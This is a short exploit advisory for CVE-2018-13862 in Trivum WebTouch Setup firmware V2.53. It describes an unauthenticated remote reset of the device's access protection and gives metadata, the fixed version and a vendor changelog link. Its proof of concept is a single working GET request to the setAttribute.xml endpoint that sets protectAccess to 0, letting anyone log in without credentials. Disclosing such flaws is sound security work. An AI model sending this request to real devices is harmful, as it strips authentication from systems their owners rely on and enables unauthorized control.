Touchpad / Trivum WebTouch Setup 2.53 build 13163 - Authentication Bypass

# Exploit Title: Touchpad / Trivum WebTouch Setup V9 V2.53 build 13163 - Unauthorized Authentication Reset

# Date: 2018-07-20

# Software Link: https://world.trivum-shop.de

# Version: < 2.56 build 13381 - 12-07-2018

# Category: webapps 

# Tested on: 

Touchpad / Trivum WebTouch Setup V9 V2.53 build 13163 of Apr 6 2018 09:10:14 (FW 303)

# Exploit Author: vulnc0d3

# Contact: http://twitter.com/HerwonoWr

# CVE: CVE-2018-13862

1. Description 

Touchpad / Trivum WebTouch Setup V9 V2.53 build 13163 of Apr 6 2018 09:10:14 (FW 303) before 2.56 build 13381 - 12.07.2018, allow unauthorized remote attackers to reset the authentication via "/xml/system/setAttribute.xml" URL, using GET request to the end-point "?id=0&attr=protectAccess&newValue=0" (successful attack will allow attackers to login without authorization). 

2. Proof of Concept

# GET Request

http://target/xml/system/setAttribute.xml?id=0&attr=protectAccess&newValue=0

3. Vendor Changes Log

# http://update.trivum.com/update/tp9-changes.html